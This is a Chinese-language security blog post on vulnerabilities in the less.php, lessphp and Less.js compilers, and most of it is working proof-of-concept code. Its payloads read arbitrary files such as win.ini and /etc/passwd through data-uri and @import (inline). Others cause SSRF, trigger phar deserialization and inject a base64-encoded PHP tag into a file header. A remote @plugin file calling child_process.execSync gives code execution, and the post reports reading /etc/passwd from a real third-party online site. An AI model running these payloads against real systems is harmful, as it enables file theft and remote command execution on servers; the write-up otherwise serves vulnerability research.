0%

Less编译器漏洞汇总

简介

Less是一个完全兼容CSS的语言

并在CSS的基础上提供了很多高级语法与功能,比如CSS中不支持的条件判断与循环,相当于是CSS语言的超集。

前端开发者使用Less编写的程序,可以通过编译器转换成合法的CSS语法,提供给浏览器进行渲染。

常见的编译器有nodejs的Less.js、php的less.php

Less.php漏洞

环境安装:

1
2
3
4
5
#使用composer安装
composer require oyejorge/less.php

#使用时只需包含php文件
require 'vendor/autoload.php';

任意文件读取

data-uri

在less官网可以看到一个函数data-uri,该函数用于读取文件并转换成data协议输出在css中

我们再看到分析less.php是如何处理该函数的,在Functions.php的第851行我们可以看到如下处理代码

1
2
3
4
5
6
7
8
9
10
11
public function datauri( $mimetypeNode, $filePathNode = null ) {
$filePath = ( $filePathNode ? $filePathNode->value : null );
// ...

if ( file_exists( $filePath ) ) {
$buf = @file_get_contents( $filePath );
} else {
$buf = false;
}
// ...
}

这是一个可以控制完整路径的文件读取漏洞

所以我们只需构造如下less代码交给Less.php解析即可读取任意文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require "less/vendor/autoload.php";

$data=<<<'CSS'
.test {
content: data-uri('C:\Windows\win.ini');
}
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

image-20240414150310573

@import

在CSS或Less中,@import用于导入外部CSS,类似于PHP中的include。当在服务器端处理Less代码时,这可用于SSRF和本地文件泄露。

分析源码在Import.php的第171行我们可以发现如下语句

1
2
3
4
5
if( $this->options['inline'] ){
Less_Parser::AddParsedFile($full_path);
$contents = new Less_Tree_Anonymous( file_get_contents($full_path), 0, array(), true );
....
....

只要选项是$this->options['inline']True即可没有限制的file_get_contents($full_path),而在@import语句后面指定inline选项即可使得条件成立。

所以我们也可以通过@import读取到文件内容

1
2
3
4
5
6
7
8
9
<?php
require "less/vendor/autoload.php";
$data=<<<'CSS'
@import (inline) "C:\Windows\win.ini";
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

SSRF

@import

@import中无限制的file_get_contents可以用来访问url,从而造成SSRF漏洞

1
2
3
4
5
6
7
8
9
10
<?php
require "less/vendor/autoload.php";

$data=<<<'CSS'
@import (inline) "http://localhost/test.html";
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

image-20240414152206716

phar反序列化

data-uri

在上面的源码中我们可以看到data-uri处理时先会file_exists( $filePath )进行判断,而file_exists是可以解析phar的

所以我们就可以利用这一点进行phar反序列化的利用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require "less/vendor/autoload.php";

$data=<<<'CSS'
.test {
content: data-uri('phar:/./test.php');
}
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

文件头部写入

@import

在Less.php底层,@import时有如下判断逻辑:

  • 如果发现包含的文件是less,则对其进行编译解析,并将结果输出在当前文件中

  • 如果发现包含的文件是css,则不对其进行处理,直接将@import这个语句输出在页面最前面

第二种情况可以“控制”文件头,虽然可控的内容只是一个@import语句。但我们data:协议来控制其写入任意的文件头部内容

该方法只能控制css文件的头部,一般结合文件包含或者phar反序列化来使用。

比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require "less/vendor/autoload.php";

$data=<<<'CSS'
.test {
width: 1337px;
}

@import (inline) 'data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+';
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

image-20240414161247820

其他

在寻找less.php的过程中,发现如下源码库https://github.com/leafo/lessphp

image-20240414162756486

发现star数很多,但版本较老,根据安装提示下载了lessc.inc.php并使用如下语句进行任意文件读取等漏洞测试

1
2
3
4
5
<?php
require "lessc.inc.php";

$less = new lessc;
echo $less->compile(".test {content: data-uri('C:/Windows/win.ini');}");

发现无法读取文件

image-20240414163606332

跟进查看发现其对data-uri的实现是这样的

1
2
3
4
5
6
7
8
9
10
11
protected function lib_data_uri($value) {
$mime = ($value[0] === 'list') ? $value[2][0][2] : null;
$url = ($value[0] === 'list') ? $value[2][1][2][0] : $value[2][0];
$fullpath = $this->findImport($url);
if ($fullpath && ($fsize = filesize($fullpath)) !== false) {
.....
.....
if (!is_null($mime)) // fallback if the mime type is still unknown
$url = sprintf('data:%s;base64,%s', $mime, base64_encode(file_get_contents($fullpath)));
}
}

其中findImport会判断传入的url如果url末尾不存在\就在url的开头加上\,然后再判断路径是否存在,存在则返回路径,也就是说我们的url被解析为了/C:/Windows/win.ini,而这个文件是不存在的。所以$fullpath 为空自然无法读取到文件。

在linux下因为根目录为/所以这个问题不显著,且也可以解析//etc/passwd

image-20240414163953073

而在windows下/可以表示当前盘符,所以我们可以在路径前去掉盘符来读取任意文件,但这也只能读取当前盘符的文件了

image-20240414164123730

image-20240414164327686

原因嘛…我猜测是less.php版本太低还没优化好

Less.js漏洞

环境安装

官网:https://lesscss.org/#

1
2
#使用官方文档的安装方法
npm install -g less

远程RCE

Less.js库支持插件,这些插件可以使用@plugin语法直接包含在远程的Less代码中。插件使用JavaScript编写,当Less代码被解释时,任何包含的插件都会执行。这可能会导致两种结果,具体取决于Less处理器的上下文。如果在客户端处理Less代码,则会导致跨站脚本攻击。如果在服务器端处理Less代码,则会导致远程代码执行。所有支持 @plugin语法的Less版本都容易受到攻击。

原理是利用@plugin加载远程js代码(有格式要求)的功能配合nodejs的代码执行函数实现RCE

新建一个cmd.js内容如下,将其上传到远程服务器并能被远程访问到

1
2
3
4
5
6
7
registerPlugin({    
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})

image-20240414161831555

构造cmd.less文件,内容如下

1
2
3
4
5
@plugin "http://your-ip:8888/cmd.js";

body {
color: cmd('whoami');
}

在命令行中执行以下指令,将less文件转换为css文件并执行恶意指令

1
lessc cmd.less result.css

image-20240414162105651

可以看到远程主机上的cmd.js被访问

image-20240414162152774

任意文件读取

和less.php的两种读取方法构造的less文件相同

SSRF

和less.php的ssrf构造的less文件相同

真实示例

找到一个国外less-to-css的在线网站,测试使用data-uri读取任意文件

image-20240414162522071

image-20240414162607853

成功读取到/etc/passwd